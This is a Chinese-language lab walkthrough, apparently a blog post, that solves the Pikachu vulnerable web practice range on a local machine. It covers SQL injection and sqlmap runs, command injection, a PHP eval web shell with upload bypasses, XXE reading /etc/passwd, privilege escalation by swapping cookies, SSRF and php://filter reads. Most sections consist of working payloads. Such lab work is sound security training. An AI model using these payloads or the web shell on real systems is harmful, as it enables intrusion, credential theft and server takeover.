4.SQL-Injecrt
4.1数字型注入(post)
与4.2的get型注入过程一致,不过需要通过bp抓包在包里修改传递内容
4.2字符型注入(get)
注入内容会在url中显示出来,尝试猜测闭合方式,发现为单引号

后续过程为爆库名,爆表名,爆字段名,然后脱库(爆数据)
' order by 3 -- + 报错,确认有两个字段,判断有无回显位
' union select 1,2 -- + ,发现两个都能显示,随便选一个位置爆库名
' union select database(),2 -- +,得到库名为pikachu

继续爆表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- +
一次得到所有表名

目标为users中所有用户的资料,于是继续爆字段
' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database() -- +
得到里面的字段内容

一共有四个字段,一次给它全脱了!
' union select 1,group_concat(id,'~',username,'~',password,'~',level) from users -- +

一共有三个用户,并且得到了对应的密码。
4.3 搜索型注入
与4.2闭合方式一致,不过本关有3个回显位

因此最终注入
' union select 1,2,group_concat(id,'~',username,'~',password,'~',level) from users -- +
即可完成脱库
4.4 xx型注入
闭合方式变了,为单引号加括号

且有两个回显位,最终注入
') union select 1,group_concat(id,'~',username,'~',password,'~',level) from users -- +
实现脱库
4.5 "insert/update"注入
提示让我们先注册一个,合理怀疑是注册界面存在注入点

点击提交后页面出现报错

猜测本题是报错注入,且闭合方式为单引号
抓个包发到bp的repeater模块中重放,原网页太麻烦了
注入语句 ' and updatexml("+",concat("!",database()),"+") -- +
updatexml(a,b,c):将b位置中的a替换为c,当b中出现!或~会报错并显示
发现并未生效,虽然报错了,但并没有给出库名

猜测是注释没能生效,尝试一下后面也给它闭合上
' and updatexml("+",concat("!",database()),"+") and '1'='1
成功得到库名

后续步骤类似
4.6 "delete"注入
提示说删除留言时有点问题,猜测是删除时会触发注入语句
抓了一个点击删除时的包,发现是get传输,尝试修改url值判断(64是包自带的)

好像不太对,意识到get传参中需要将参数进行url编码才行,
or 1=2 -- + 编码后为or%201%3D2%20--%20%2B

看来就是这里存在注入点,开始尝试爆库名
注入 or updatexml("!",concat(0x7e,database()),"!") -- +,(用and也可以,逻辑上不影响最终结果)
编码后为
or%20updatexml%28%22!%22%2Cconcat%280x7e%2Cdatabase%28%29%29%2C%22!%22%29%20--%20%2B
成功得到库名

后续步骤类似
4.7 "http header"注入
给了个账号密码,登录进去一看就说我的信息被记录了

抓个本页面的包(打开bp刷新一下页面即可),既然有我的user-agent,那我改一下看看

页面报错了,试试爆库名
' and updatexml('+',concat('!',database()),'+') -- +
但报错了,尝试一下闭合原格式的方式
' and updatexml('+',concat('!',database()),'+') and '
成功得到库名

4.8 盲注(base on boolian)
布尔盲注,页面只返回查询的布尔值,需要通过遍历的方式盲猜试错
需要用到bp的爆破模块,整体过程较为麻烦,且均为重复性的步骤
古法手动方式可以参考lz的另一篇帖子:sql-labs-master靶场通关记录(less 1-7)的第七关(不过第七关本质是延时盲注,但本质一样,延时更复杂一点)
这里lz试试sqlmap的方式。y
打开kali虚拟机,
终端输入语句:
sqlmap -u "http://192.168.220.128/pikachu-master/vul/sqli/sqli_blind_b.php" --data="name=1" --dbs
--dbs用于获取数据库名,--data中的为注入点的传参名,抓个包即可发现该关卡为get传参,传参名为name,前面-u后面接的为url
lz是在kali中运行的,如果是在普通Linux中运行,前面格式为:python sqlmap.py
发现爆不出来,这里犯了个错误,本题采用的是get传参,参数包含在了url中,而上面的注入格式的post型的
重新构造语句:
sqlmap -u "http://192.168.220.128/pikachu-master/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --dbs
等sqlmap自己跑,一路点y即可,不过很慢

太慢了,后续语句仅需要改最后的参数--dbs即可,lz就不展示了
-D 库名-tables -batch :-D:指定库名,-tables:爆表名,-batch:跳过询问,自动为默认回答(Y)
-D 库名-T 表名 -columns -batch :-columns:爆字段名
或者直接一句话全爆了:-dump -batch
这些其实都是sqlmap的使用方法
4.9 盲注(base on time)
同参考sql-labs-master靶场通关记录(less 1-7) 第七关
sqlmap通过:sqlmap -u "http://192.168.220.128/pikachu-master/vul/sqli/sqli_blind_t.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --dbs 完成爆库名
后续一致
4.10 宽字节注入
没听过,先学一下
一个字符的大小为一个字节时,称为窄字节;如果一个字符的大小是两个字节的,称为宽字节
宽字节注入利用Unicode编码中的特性,将特殊字符转换为双字节字符,绕过输入过滤和检查,从而执行恶意的SQL查询
输入admin后抓点击查询的包,然后添加语句:%df' union select database(),1 -- +

成功得到库名
%df本身只是一个 GBK 编码里的半个汉字,作用就是构造一个 GBK 高字节,吞噬掉 addslashes 添加的转义反斜杠,废掉单引号的转义防护,让单引号正常生效,以此突破字符转义防护实现SQL注入
5.RCE
remote command/code execute,远程代码执行漏洞
5.1 exec"ping"
ping一下本机地址

尝试在地址后面拼接查询语句,这里还有一个逻辑拼接符要了解一下
|:传递输出给下一条命令处理
&:不管前边对错,后边必执行
&&:前边没问题 → 执行后边
||:前边出错 → 执行后边
直接尝试:127.0.0.1|ipconfig

成功执行
5.2 exec"evel"
eval() 的功能:把传入的字符串当成编程语言代码当场解析执行
直接尝试system('whoami');

居然这么直接。。。。(ˉ▽ˉ;)...
6.File Inclusion
文件包含漏洞,PHP 里 include()、include_once()、require()、require_once() 这四个文件包含函数,直接拼接用户可控参数读取本地服务器文件,攻击者可以读取服务器任意本地文件;条件满足时还能结合日志、上传、临时文件实现代码执行 getshe
6.1 File Inclusion(local)
本地文件包含。
随便选一个看看

发现文件名直接出现在了url中,页面提供了五个选项,尝试file6

真有你的制作者!
6.2 File Inclusion(remote)
本关可以直接在地址中拼接外部网站地址

这里其实可以配合文件上传漏洞拿下服务器,但靶场后续还有对应的部分,因此到时候再吧实操(●'◡'●)
7. Unsafe Filedownload
不安全的文件下载
简单来说,就是要去下载服务器上别的不该被下载的文件。
这里可以先准备一个文件

在靶场目录下准备了一个名为cat的png格式文件
右键图片,复制图像链接,然后在新页面打开

得到图片下载地址

因此cat的相对路径为../../../cat.png
抓个点击下载的包,修改路径

新的相对路径为

成功下载图片
8. Unsafe Fileupload
文件上传漏洞,很常见的一种漏洞
8.1 client check
只能上传图片,正好之前的cat图片其实是个图片码 :<?php @eval($_POST['abc']); ?>

选择图片开始上传,直接就是上传成功
用蚁剑连不上,难道本题不能用图片码?(应该是图片格式不会触发php代码)
构造一个php文件,写入<?php @eval($_POST['abc']); ?>,然后把后缀改为png
再次上传,准备尝试抓包绕过

将png改为php后放包,成功上传
尝试拿蚁剑连接,成功

链接进去甚至还能看见刚才链接失败的cat.png文件(ˉ▽ˉ;)...

8.2 MIME type
MIME(Multipurpose Internet Mail Extensions),请求头里的 Content-Type,用来告诉服务端:本次提交的表单数据、上传文件是什么类型。
简单来说就是要多改一个地方的东西了
其实对于lz的步骤来说,跟上一题没有区别,因为lz本来就上传的png格式再在包里把后缀名改为php
这题上传为payload2.png文件,在包里把后缀改为php,蚁剑成功连上

不过这题可以直接上传php文件,因为本题不是通过文件名后缀验证的,而是通过包里的Content-Type来确定文件类型的
(不过正常人不应该想到同时验证吗!!(╯▔皿▔)╯)

将其改为image/png就能绕过了
8.3 getimagesize
PHP 内置函数
getimagesize():读取文件二进制头部数据,识别图片真实格式、宽高、MIME 类型,不会执行文件内容,仅解析文件头部特征码。
绕过方式:图片码
正巧,第一关的时候就制作了一个,重新上传一下,发现被改名了

尝试连一下,发现连不上。
应该是图片是png格式的,并不会执行php的代码,需要利用之前的文件包含漏洞,
根据6.1关的网页url,附上上传图片码的地址即可蚁剑直连
9. over permission
越权漏洞
9.1 水平越权
随便登录一个提示给的账号

点击查看个人信息

好吧,还是之前改过的信息O(∩_∩)O
观察url并尝试修改

成功查看lucy的信息,实现水平越权
(个人理解:查看别的同一级别的成员信息为水平越权)
9.2 垂直越权
提示还有两个用户,其中admin为超级boss,尝试登录一下admin

可以看到其他用户信息,且可以添加和删除用户
再看看pikachu

只能查看,懂了,要用pikachu用户实现增删
想到了用cookie,复制一个pikachu的cookie

然后登录admin,抓一个创建用户的包,修改为pikachu的cookie

放包,查看用户,看见新建用户,实现垂直越权

不禁忍不住思考,这种方式真的有发挥空间吗?真的拿得到admin用户创建/删除用户时的数据包吗?(@_@;)
10. ../../ 目录遍历
两个小短文的url并不一致
根据本题类型,修改title后的参数可以遍历整个系统的文件(不过需要去猜测文件位置和名字)
手动试试,先找到当前的路径,结合一下本地环境,url随便写个123

说明在soup文件下,根据本地环境构造查询url,就查www地址下的payload.php吧

好奇怪,没有报错,但页面什么也没有显示

奇怪,我直接把文件弄到soup目录下试试。
神了,也没有反应。
合理怀疑是我的靶场环境的问题(ˉ▽ˉ;)...
11. 敏感信息泄露
直接f12查看网页源码,居然发现里面存在一个测试账号

登陆成功

太感人了,下一题吧
12. PHP反序列化
涉及到php的serialize()和unserialize()两个函数
具体内容在靶场的概述部分写的较为详细了,并且作者还给了一个payload
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
直接拿去试一试

成功触发
13. XXE
xml external entity injection,xml外部实体注入漏洞
攻击者通过向服务器注入指定的xml实体内容(定义好的 "别名、快捷变量"),从而让服务器按照指定的配置进行执行,导致问题
XML 的实体只能在 DTD 中声明!
经典 XXE 读取文件 payload 结构:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<root>
<data>&file;</data>
</root>
构造一个payload:
<?xml version="1.0" ?>
<!DOCTYPE a [ <!ENTITY hello "hello world !"> ]>
<a>&hello;</a>
成功实现

14. URL重定向
可以理解为钓鱼?

四句话,第三句话会跳转到本节的概述页面,第四句话会弹出一句话,并发现网页的url中出现了参数

尝试拼接一下b站的url

回车,成功跳转到b站

15. SSRF
Server-Side Request Forgery,服务器端请求伪造
简单来说,就是攻击者通过服务器来进行行为操作
15.1 SSRF(curl)

点击看看

可以看到url中携带的地址文件
提示让我们看看curl的用法
cURL 是 PHP 用来发起网络请求的扩展,可以模拟浏览器发送 GET、POST、上传文件、携带 Cookie、自定义请求头、HTTPS、代理、重定向 等各类网络访问。
这里既然是url,那我们可以继续用其访问之前关卡中上传的payload


这里按理说也可以访问其他ip地址上的文件
15.2 SSRF(file_get_content)
依旧一个链接,点开依旧一首诗,依旧url

看看上一题的url能生效不

依旧生效
与上一关不同的点是这里可以使用php的伪协议了。比如,可以使用php://filter读取文件
PHP://filter/read=convert.base64-encode/resource=
试一下

复制拿去base64解码,最终得到内容:
<script>alert("this is a xss!!")</script>
至此,pikachu-master靶场通关完结